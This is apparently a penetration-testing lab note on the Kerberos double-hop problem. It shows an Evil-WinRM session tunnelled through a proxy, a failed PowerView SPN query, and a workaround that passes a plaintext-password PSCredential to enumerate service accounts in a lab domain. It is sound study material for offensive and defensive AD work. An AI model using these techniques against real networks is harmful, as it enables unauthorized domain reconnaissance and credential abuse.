# Kerberos Double Hop Problem

The Kerberos "Double Hop" problem appears when an attacker attempts to use **Kerberos authentication across two** **hops**, for example using **PowerShell**/**WinRM**.

When an **authentication** occurs through **Kerberos**, **credentials** **aren't** cached in **memory.** Therefore, if you run mimikatz you **won't find credentials** of the user in the machine even if he is running processes.

```shell-session
*Evil-WinRM* PS C:\Users\backupadm\Documents> import-module .\PowerView.ps1

|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK
|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK
*Evil-WinRM* PS C:\Users\backupadm\Documents> get-domainuser -spn
Exception calling "FindAll" with "0" argument(s): "An operations error occurred.
"
At C:\Users\backupadm\Documents\PowerView.ps1:5253 char:20
+             else { $Results = $UserSearcher.FindAll() }
+                    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : DirectoryServicesCOMException
```

```shell-session
*Evil-WinRM* PS C:\Users\backupadm\Documents> klist

Current LogonId is 0:0x57f8a

Cached Tickets: (1)

#0> Client: backupadm @ INLANEFREIGHT.LOCAL
    Server: academy-aen-ms0$ @
    KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
    Ticket Flags 0xa10000 -> renewable pre_authent name_canonicalize
    Start Time: 6/28/2022 7:31:53 (local)
    End Time:   6/28/2022 7:46:53 (local)
    Renew Time: 7/5/2022 7:31:18 (local)
    Session Key Type: AES-256-CTS-HMAC-SHA1-96
    Cache Flags: 0x4 -> S4U
    Kdc Called: DC01.INLANEFREIGHT.LOCAL
```

## Troubleshoot

```shell-session
*Evil-WinRM* PS C:\Users\backupadm\Documents> $SecPassword = ConvertTo-SecureString '!qazXSW@' -AsPlainText -Force

|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK
|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK
*Evil-WinRM* PS C:\Users\backupadm\Documents>  $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\backupadm', $SecPassword)
```

&#x20;specifying the `-credential` flag

```shell-session
*Evil-WinRM* PS C:\Users\backupadm\Documents> get-domainuser -spn -credential $Cred | select samaccountname

|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK
|S-chain|-<>-127.0.0.1:9051-<><>-172.16.8.50:5985-<><>-OK

samaccountname
--------------
azureconnect
backupjob
krbtgt
mssqlsvc
sqltest
sqlqa
sqldev
mssqladm
svc_sql
sqlprod
sapsso
sapvc
vmwarescvc
```

## Resource

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberos-double-hop-problem>" %}


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